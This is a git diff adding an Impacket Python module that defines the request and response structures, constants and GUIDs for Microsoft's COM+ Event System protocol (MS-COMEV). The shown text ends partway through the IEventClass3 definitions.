diff --git a/impacket/dcerpc/v5/dcom/comev.py b/impacket/dcerpc/v5/dcom/comev.py
new file mode 100644
index 0000000..4e54e6b
--- /dev/null
+++ b/impacket/dcerpc/v5/dcom/comev.py
@@ -0,0 +1,1866 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol.
+#               This was used as a way to test the DCOM runtime. Further
+#               testing is needed to verify it is working as expected
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Since DCOM is like an OO RPC, instead of helper functions you will see the
+#   classes described in the standards developed.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRENUM, NDRUniConformantVaryingArray
+from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, INTERFACE, PMInterfacePointer, IRemUnknown
+from impacket.dcerpc.v5.dcom.oaut import IDispatch, BSTR, VARIANT
+from impacket.dcerpc.v5.dtypes import INT, ULONG, LONG, BOOLEAN
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.enum import Enum
+from impacket import hresult_errors
+from impacket.uuid import string_to_bin, uuidtup_to_bin
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        if self.error_code in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] 
+            return 'COMEV SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'COMEV SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 1.9 Standards Assignments
+CLSID_EventSystem          = string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345')
+CLSID_EventSystem2         = string_to_bin('99CC098F-A48A-4e9c-8E58-965C0AFC19D5')
+CLSID_EventClass           = string_to_bin('cdbec9c0-7a68-11d1-88f9-0080c7d771bf')
+CLSID_EventSubscription    = string_to_bin('7542e960-79c7-11d1-88f9-0080c7d771bf')
+GUID_DefaultAppPartition   = string_to_bin('41E90F3E-56C1-4633-81C3-6E8BAC8BDD70')
+IID_IEventSystem           = uuidtup_to_bin(('4E14FB9F-2E22-11D1-9964-00C04FBBB345','0.0'))
+IID_IEventSystem2          = uuidtup_to_bin(('99CC098F-A48A-4e9c-8E58-965C0AFC19D5','0.0'))
+IID_IEventSystemInitialize = uuidtup_to_bin(('a0e8f27a-888c-11d1-b763-00c04fb926af','0.0'))
+IID_IEventObjectCollection = uuidtup_to_bin(('f89ac270-d4eb-11d1-b682-00805fc79216','0.0'))
+IID_IEnumEventObject       = uuidtup_to_bin(('F4A07D63-2E25-11D1-9964-00C04FBBB345','0.0'))
+IID_IEventSubscription     = uuidtup_to_bin(('4A6B0E15-2E38-11D1-9965-00C04FBBB345','0.0'))
+IID_IEventSubscription2    = uuidtup_to_bin(('4A6B0E16-2E38-11D1-9965-00C04FBBB345','0.0'))
+IID_IEventSubscription3    = uuidtup_to_bin(('FBC1D17D-C498-43a0-81AF-423DDD530AF6','0.0'))
+IID_IEventClass            = uuidtup_to_bin(('fb2b72a0-7a68-11d1-88f9-0080c7d771bf','0.0'))
+IID_IEventClass2           = uuidtup_to_bin(('fb2b72a1-7a68-11d1-88f9-0080c7d771bf','0.0'))
+IID_IEventClass3           = uuidtup_to_bin(('7FB7EA43-2D76-4ea8-8CD9-3DECC270295E','0.0'))
+
+error_status_t = ULONG
+
+# 2.2.2.2 Property Value Types
+class VARENUM(NDRENUM):
+    class enumItems(Enum):
+        VT_EMPTY       = 0
+        VT_NULL        = 1
+        VT_I2          = 2
+        VT_I4          = 3
+        VT_R4          = 4
+        VT_R8          = 5
+        VT_CY          = 6
+        VT_DATE        = 7
+        VT_BSTR        = 8
+        VT_DISPATCH    = 9
+        VT_ERROR       = 0xa
+        VT_BOOL        = 0xb
+        VT_VARIANT     = 0xc
+        VT_UNKNOWN     = 0xd
+        VT_DECIMAL     = 0xe
+        VT_I1          = 0x10
+        VT_UI1         = 0x11
+        VT_UI2         = 0x12
+        VT_UI4         = 0x13
+        VT_I8          = 0x14
+        VT_UI8         = 0x15
+        VT_INT         = 0x16
+        VT_UINT        = 0x17
+        VT_VOID        = 0x18
+        VT_HRESULT     = 0x19
+        VT_PTR         = 0x1a
+        VT_SAFEARRAY   = 0x1b
+        VT_CARRAY      = 0x1c
+        VT_USERDEFINED = 0x1d
+        VT_LPSTR       = 0x1e
+        VT_LPWSTR      = 0x1f
+        VT_RECORD      = 0x24
+        VT_INT_PTR     = 0x25
+        VT_UINT_PTR    = 0x26
+        VT_ARRAY       = 0x2000
+        VT_BYREF       = 0x4000
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.44 TYPEATTR
+class TYPEATTR(NDRSTRUCT):
+    structure = (
+    )
+
+class OBJECT_ARRAY(NDRUniConformantVaryingArray):
+    item = PMInterfacePointer
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.1 IEventSystem
+# 3.1.4.1.1 Query (Opnum 7)
+class IEventSystem_Query(DCOMCALL):
+    opnum = 7
+    structure = (
+       ('progID', BSTR),
+       ('queryCriteria', BSTR),
+    )
+
+class IEventSystem_QueryResponse(DCOMANSWER):
+    structure = (
+       ('errorIndex', INT),
+       ('ppInterface', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.2 Store (Opnum 8)
+class IEventSystem_Store(DCOMCALL):
+    opnum = 8
+    structure = (
+       ('progID', BSTR),
+       ('pInterface', PMInterfacePointer),
+    )
+
+class IEventSystem_StoreResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.3 Remove (Opnum 9)
+class IEventSystem_Remove(DCOMCALL):
+    opnum = 9
+    structure = (
+       ('progID', BSTR),
+       ('queryCriteria', BSTR),
+    )
+
+class IEventSystem_RemoveResponse(DCOMANSWER):
+    structure = (
+       ('errorIndex', INT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.4 get_EventObjectChangeEventClassID (Opnum 10)
+class IEventSystem_get_EventObjectChangeEventClassID(DCOMCALL):
+    opnum = 10
+    structure = (
+    )
+
+class IEventSystem_get_EventObjectChangeEventClassIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.5 QueryS (Opnum 11)
+class IEventSystem_QueryS(DCOMCALL):
+    opnum = 11
+    structure = (
+       ('progID', BSTR),
+       ('queryCriteria', BSTR),
+    )
+
+class IEventSystem_QuerySResponse(DCOMANSWER):
+    structure = (
+       ('pInterface', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.6 RemoveS (Opnum 12)
+class IEventSystem_RemoveS(DCOMCALL):
+    opnum = 12
+    structure = (
+       ('progID', BSTR),
+       ('queryCriteria', BSTR),
+    )
+
+class IEventSystem_RemoveSResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.2 IEventClass
+# 3.1.4.2.1 get_EventClassID (Opnum 7)
+class IEventClass_get_EventClassID(DCOMCALL):
+    opnum = 7
+    structure = (
+    )
+
+class IEventClass_get_EventClassIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.2 put_EventClassID (Opnum 8)
+class IEventClass_put_EventClassID(DCOMCALL):
+    opnum = 8
+    structure = (
+       ('bstrEventClassID', BSTR),
+    )
+
+class IEventClass_put_EventClassIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.3 get_EventClassName (Opnum 9)
+class IEventClass_get_EventClassName(DCOMCALL):
+    opnum = 9
+    structure = (
+    )
+
+class IEventClass_get_EventClassNameResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassName', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.4 put_EventClassName (Opnum 10)
+class IEventClass_put_EventClassName(DCOMCALL):
+    opnum = 10
+    structure = (
+       ('bstrEventClassName', BSTR),
+    )
+
+class IEventClass_put_EventClassNameResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.5 get_OwnerSID (Opnum 11)
+class IEventClass_get_OwnerSID(DCOMCALL):
+    opnum = 11
+    structure = (
+    )
+
+class IEventClass_get_OwnerSIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrOwnerSID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.6 put_OwnerSID (Opnum 12)
+class IEventClass_put_OwnerSID(DCOMCALL):
+    opnum = 12
+    structure = (
+       ('bstrOwnerSID', BSTR),
+    )
+
+class IEventClass_put_OwnerSIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.7 get_FiringInterfaceID (Opnum 13)
+class IEventClass_get_FiringInterfaceID(DCOMCALL):
+    opnum = 13
+    structure = (
+    )
+
+class IEventClass_get_FiringInterfaceIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrFiringInterfaceID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.8 put_FiringInterfaceID (Opnum 14)
+class IEventClass_put_FiringInterfaceID(DCOMCALL):
+    opnum = 14
+    structure = (
+       ('bstrFiringInterfaceID', BSTR),
+    )
+
+class IEventClass_put_FiringInterfaceIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.9 get_Description (Opnum 15)
+class IEventClass_get_Description(DCOMCALL):
+    opnum = 15
+    structure = (
+    )
+
+class IEventClass_get_DescriptionResponse(DCOMANSWER):
+    structure = (
+       ('pbstrDescription', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.10 put_Description (Opnum 16)
+class IEventClass_put_Description(DCOMCALL):
+    opnum = 16
+    structure = (
+       ('bstrDescription', BSTR),
+    )
+
+class IEventClass_put_DescriptionResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.11 get_TypeLib (Opnum 19)
+class IEventClass_get_TypeLib(DCOMCALL):
+    opnum = 19
+    structure = (
+    )
+
+class IEventClass_get_TypeLibResponse(DCOMANSWER):
+    structure = (
+       ('pbstrTypeLib', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.12 put_TypeLib (Opnum 20)
+class IEventClass_put_TypeLib(DCOMCALL):
+    opnum = 20
+    structure = (
+       ('bstrTypeLib', BSTR),
+    )
+
+class IEventClass_put_TypeLibResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.3 IEventClass2
+# 3.1.4.3.1 get_PublisherID (Opnum 21)
+class IEventClass2_get_PublisherID(DCOMCALL):
+    opnum = 21
+    structure = (
+    )
+
+class IEventClass2_get_PublisherIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrSubscriptionID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.2 put_PublisherID (Opnum 22)
+class IEventClass2_put_PublisherID(DCOMCALL):
+    opnum = 22
+    structure = (
+       ('bstrPublisherID', BSTR),
+    )
+
+class IEventClass2_put_PublisherIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.3 get_MultiInterfacePublisherFilterCLSID (Opnum 23)
+class IEventClass2_get_MultiInterfacePublisherFilterCLSID(DCOMCALL):
+    opnum = 23
+    structure = (
+    )
+
+class IEventClass2_get_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrPubFilCLSID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.4 put_MultiInterfacePublisherFilterCLSID (Opnum 24)
+class IEventClass2_put_MultiInterfacePublisherFilterCLSID(DCOMCALL):
+    opnum = 24
+    structure = (
+       ('bstrPubFilCLSID', BSTR),
+    )
+
+class IEventClass2_put_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.5 get_AllowInprocActivation (Opnum 25)
+class IEventClass2_get_AllowInprocActivation(DCOMCALL):
+    opnum = 25
+    structure = (
+    )
+
+class IEventClass2_get_AllowInprocActivationResponse(DCOMANSWER):
+    structure = (
+       ('pfAllowInprocActivation', BOOLEAN),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.6 put_AllowInprocActivation (Opnum 26)
+class IEventClass2_put_AllowInprocActivation(DCOMCALL):
+    opnum = 26
+    structure = (
+       ('fAllowInprocActivation', BOOLEAN),
+    )
+
+class IEventClass2_put_AllowInprocActivationResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.7 get_FireInParallel (Opnum 27)
+class IEventClass2_get_FireInParallel(DCOMCALL):
+    opnum = 27
+    structure = (
+    )
+
+class IEventClass2_get_FireInParallelResponse(DCOMANSWER):
+    structure = (
+       ('pfFireInParallel', BOOLEAN),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.8 put_FireInParallel (Opnum 28)
+class IEventClass2_put_FireInParallel(DCOMCALL):
+    opnum = 28
+    structure = (
+       ('pfFireInParallel', BOOLEAN),
+    )
+
+class IEventClass2_put_FireInParallelResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.4 IEventSubscription
+# 3.1.4.4.1 get_SubscriptionID (Opnum 7)
+class IEventSubscription_get_SubscriptionID(DCOMCALL):
+    opnum = 7
+    structure = (
+    )
+
+class IEventSubscription_get_SubscriptionIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrSubscriptionID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.2 put_SubscriptionID (Opnum 8)
+class IEventSubscription_put_SubscriptionID(DCOMCALL):
+    opnum = 8
+    structure = (
+       ('bstrSubscriptionID', BSTR),
+    )
+
+class IEventSubscription_put_SubscriptionIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.3 get_SubscriptionName (Opnum 9)
+class IEventSubscription_get_SubscriptionName(DCOMCALL):
+    opnum = 9
+    structure = (
+    )
+
+class IEventSubscription_get_SubscriptionNameResponse(DCOMANSWER):
+    structure = (
+       ('pbstrSubscriptionName', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.4 put_SubscriptionName (Opnum 10)
+class IEventSubscription_put_SubscriptionName(DCOMCALL):
+    opnum = 10
+    structure = (
+       ('strSubscriptionID', BSTR),
+    )
+
+class IEventSubscription_put_SubscriptionNameResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.5 get_PublisherID (Opnum 11)
+class IEventSubscription_get_PublisherID(DCOMCALL):
+    opnum = 11
+    structure = (
+    )
+
+class IEventSubscription_get_PublisherIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrPublisherID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.6 put_PublisherID (Opnum 12)
+class IEventSubscription_put_PublisherID(DCOMCALL):
+    opnum = 12
+    structure = (
+       ('bstrPublisherID', BSTR),
+    )
+
+class IEventSubscription_put_PublisherIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.7 get_EventClassID (Opnum 13)
+class IEventSubscription_get_EventClassID(DCOMCALL):
+    opnum = 13
+    structure = (
+    )
+
+class IEventSubscription_get_EventClassIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.8 put_EventClassID (Opnum 14)
+class IEventSubscription_put_EventClassID(DCOMCALL):
+    opnum = 14
+    structure = (
+       ('bstrEventClassID', BSTR),
+    )
+
+class IEventSubscription_put_EventClassIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.9 get_MethodName (Opnum 15)
+class IEventSubscription_get_MethodName(DCOMCALL):
+    opnum = 15
+    structure = (
+    )
+
+class IEventSubscription_get_MethodNameResponse(DCOMANSWER):
+    structure = (
+       ('pbstrMethodName', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.10 put_MethodName (Opnum 16)
+class IEventSubscription_put_MethodName(DCOMCALL):
+    opnum = 16
+    structure = (
+       ('bstrMethodName', BSTR),
+    )
+
+class IEventSubscription_put_MethodNameResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.11 get_SubscriberCLSID (Opnum 17)
+class IEventSubscription_get_SubscriberCLSID(DCOMCALL):
+    opnum = 17
+    structure = (
+    )
+
+class IEventSubscription_get_SubscriberCLSIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrSubscriberCLSID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.12 put_SubscriberCLSID (Opnum 18)
+class IEventSubscription_put_SubscriberCLSID(DCOMCALL):
+    opnum = 18
+    structure = (
+       ('bstrSubscriberCLSID', BSTR),
+    )
+
+class IEventSubscription_put_SubscriberCLSIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.13 get_SubscriberInterface (Opnum 19)
+class IEventSubscription_get_SubscriberInterface(DCOMCALL):
+    opnum = 19
+    structure = (
+    )
+
+class IEventSubscription_get_SubscriberInterfaceResponse(DCOMANSWER):
+    structure = (
+       ('ppSubscriberInterface', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.14 put_SubscriberInterface (Opnum 20)
+class IEventSubscription_put_SubscriberInterface(DCOMCALL):
+    opnum = 20
+    structure = (
+       ('pSubscriberInterface', PMInterfacePointer),
+    )
+
+class IEventSubscription_put_SubscriberInterfaceResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.15 get_PerUser (Opnum 21)
+class IEventSubscription_get_PerUser(DCOMCALL):
+    opnum = 21
+    structure = (
+    )
+
+class IEventSubscription_get_PerUserResponse(DCOMANSWER):
+    structure = (
+       ('pfPerUser', BOOLEAN),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.16 put_PerUser (Opnum 22)
+class IEventSubscription_put_PerUser(DCOMCALL):
+    opnum = 22
+    structure = (
+       ('fPerUser', BOOLEAN),
+    )
+
+class IEventSubscription_put_PerUserResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.17 get_OwnerSID (Opnum 23)
+class IEventSubscription_get_OwnerSID(DCOMCALL):
+    opnum = 23
+    structure = (
+    )
+
+class IEventSubscription_get_OwnerSIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrOwnerSID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.18 put_OwnerSID (Opnum 24)
+class IEventSubscription_put_OwnerSID(DCOMCALL):
+    opnum = 24
+    structure = (
+       ('bstrOwnerSID', BSTR),
+    )
+
+class IEventSubscription_put_OwnerSIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.19 get_Enabled (Opnum 25)
+class IEventSubscription_get_Enabled(DCOMCALL):
+    opnum = 25
+    structure = (
+    )
+
+class IEventSubscription_get_EnabledResponse(DCOMANSWER):
+    structure = (
+       ('pfEnabled', BOOLEAN),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.20 put_Enabled (Opnum 26)
+class IEventSubscription_put_Enabled(DCOMCALL):
+    opnum = 26
+    structure = (
+       ('fEnabled', BOOLEAN),
+    )
+
+class IEventSubscription_put_EnabledResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.21 get_Description (Opnum 27)
+class IEventSubscription_get_Description(DCOMCALL):
+    opnum = 27
+    structure = (
+    )
+
+class IEventSubscription_get_DescriptionResponse(DCOMANSWER):
+    structure = (
+       ('pbstrDescription', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.22 put_Description (Opnum 28)
+class IEventSubscription_put_Description(DCOMCALL):
+    opnum = 28
+    structure = (
+       ('bstrDescription', BSTR),
+    )
+
+class IEventSubscription_put_DescriptionResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.23 get_MachineName (Opnum 29)
+class IEventSubscription_get_MachineName(DCOMCALL):
+    opnum = 29
+    structure = (
+    )
+
+class IEventSubscription_get_MachineNameResponse(DCOMANSWER):
+    structure = (
+       ('pbstrMachineName', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.24 put_MachineName (Opnum 30)
+class IEventSubscription_put_MachineName(DCOMCALL):
+    opnum = 30
+    structure = (
+       ('bstrMachineName', BSTR),
+    )
+
+class IEventSubscription_put_MachineNameResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.25 GetPublisherProperty (Opnum 31)
+class IEventSubscription_GetPublisherProperty(DCOMCALL):
+    opnum = 31
+    structure = (
+       ('bstrPropertyName', BSTR),
+    )
+
+class IEventSubscription_GetPublisherPropertyResponse(DCOMANSWER):
+    structure = (
+       ('propertyValue', VARIANT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.26 PutPublisherProperty (Opnum 32)
+class IEventSubscription_PutPublisherProperty(DCOMCALL):
+    opnum = 32
+    structure = (
+       ('bstrPropertyName', BSTR),
+       ('propertyValue', VARIANT),
+    )
+
+class IEventSubscription_PutPublisherPropertyResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.27 RemovePublisherProperty (Opnum 33)
+class IEventSubscription_RemovePublisherProperty(DCOMCALL):
+    opnum = 33
+    structure = (
+       ('bstrPropertyName', BSTR),
+    )
+
+class IEventSubscription_RemovePublisherPropertyResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.28 GetPublisherPropertyCollection (Opnum 34)
+class IEventSubscription_GetPublisherPropertyCollection(DCOMCALL):
+    opnum = 34
+    structure = (
+    )
+
+class IEventSubscription_GetPublisherPropertyCollectionResponse(DCOMANSWER):
+    structure = (
+       ('collection', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.29 GetSubscriberProperty (Opnum 35)
+class IEventSubscription_GetSubscriberProperty(DCOMCALL):
+    opnum = 35
+    structure = (
+       ('bstrPropertyName', BSTR),
+    )
+
+class IEventSubscription_GetSubscriberPropertyResponse(DCOMANSWER):
+    structure = (
+       ('propertyValue', VARIANT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.30 PutSubscriberProperty (Opnum 36)
+class IEventSubscription_PutSubscriberProperty(DCOMCALL):
+    opnum = 36
+    structure = (
+       ('bstrPropertyName', BSTR),
+       ('propertyValue', VARIANT),
+    )
+
+class IEventSubscription_PutSubscriberPropertyResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.31 RemoveSubscriberProperty (Opnum 37)
+class IEventSubscription_RemoveSubscriberProperty(DCOMCALL):
+    opnum = 37
+    structure = (
+       ('bstrPropertyName', BSTR),
+    )
+
+class IEventSubscription_RemoveSubscriberPropertyResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.32 GetSubscriberPropertyCollection (Opnum 38)
+class IEventSubscription_GetSubscriberPropertyCollection(DCOMCALL):
+    opnum = 38
+    structure = (
+    )
+
+class IEventSubscription_GetSubscriberPropertyCollectionResponse(DCOMANSWER):
+    structure = (
+       ('collection', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.33 get_InterfaceID (Opnum 39)
+class IEventSubscription_get_InterfaceID(DCOMCALL):
+    opnum = 39
+    structure = (
+    )
+
+class IEventSubscription_get_InterfaceIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrInterfaceID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.34 put_InterfaceID (Opnum 40)
+class IEventSubscription_put_InterfaceID(DCOMCALL):
+    opnum = 40
+    structure = (
+       ('bstrInterfaceID', BSTR),
+    )
+
+class IEventSubscription_put_InterfaceIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.5 IEnumEventObject
+# 3.1.4.5.1 Clone (Opnum 3)
+class IEnumEventObject_Clone(DCOMCALL):
+    opnum = 3
+    structure = (
+    )
+
+class IEnumEventObject_CloneResponse(DCOMANSWER):
+    structure = (
+       ('ppInterface', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5.2 Next (Opnum 4)
+class IEnumEventObject_Next(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('cReqElem', ULONG),
+    )
+
+class IEnumEventObject_NextResponse(DCOMANSWER):
+    structure = (
+       ('ppInterface', OBJECT_ARRAY),
+       ('cRetElem', ULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5.3 Reset (Opnum 5)
+class IEnumEventObject_Reset(DCOMCALL):
+    opnum = 5
+    structure = (
+    )
+
+class IEnumEventObject_ResetResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5.4 Skip (Opnum 6)
+class IEnumEventObject_Skip(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('cSkipElem', ULONG),
+    )
+
+class IEnumEventObject_SkipResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.6 IEventObjectCollection
+# 3.1.4.6.1 get__NewEnum (Opnum 7)
+class IEventObjectCollection_get__NewEnum(DCOMCALL):
+    opnum = 7
+    structure = (
+    )
+
+class IEventObjectCollection_get__NewEnumResponse(DCOMANSWER):
+    structure = (
+       ('ppUnkEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.6.2 get_Item (Opnum 8)
+class IEventObjectCollection_get_Item(DCOMCALL):
+    opnum = 8
+    structure = (
+       ('objectID', BSTR),
+    )
+
+class IEventObjectCollection_get_ItemResponse(DCOMANSWER):
+    structure = (
+       ('pItem', VARIANT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.6.3 get_NewEnum (Opnum 9)
+class IEventObjectCollection_get_NewEnum(DCOMCALL):
+    opnum = 9
+    structure = (
+    )
+
+class IEventObjectCollection_get_NewEnumResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.6.4 get_Count (Opnum 10)
+class IEventObjectCollection_get_Count(DCOMCALL):
+    opnum = 10
+    structure = (
+    )
+
+class IEventObjectCollection_get_CountResponse(DCOMANSWER):
+    structure = (
+       ('pCount', LONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.6.5 Add (Opnum 11)
+class IEventObjectCollection_Add(DCOMCALL):
+    opnum = 11
+    structure = (
+       ('item', VARIANT),
+       ('objectID', BSTR),
+    )
+
+class IEventObjectCollection_AddResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.6.6 Remove (Opnum 12)
+class IEventObjectCollection_Remove(DCOMCALL):
+    opnum = 12
+    structure = (
+       ('objectID', BSTR),
+    )
+
+class IEventObjectCollection_RemoveResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.7 IEventClass3
+# 3.1.4.7.1 get_EventClassPartitionID (Opnum 29)
+class IEventClass3_get_EventClassPartitionID(DCOMCALL):
+    opnum = 29
+    structure = (
+    )
+
+class IEventClass3_get_EventClassPartitionIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassPartitionID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.7.2 put_EventClassPartitionID (Opnum 30)
+class IEventClass3_put_EventClassPartitionID(DCOMCALL):
+    opnum = 30
+    structure = (
+       ('bstrEventClassPartitionID', BSTR),
+    )
+
+class IEventClass3_put_EventClassPartitionIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.7.3 get_EventClassApplicationID (Opnum 31)
+class IEventClass3_get_EventClassApplicationID(DCOMCALL):
+    opnum = 31
+    structure = (
+    )
+
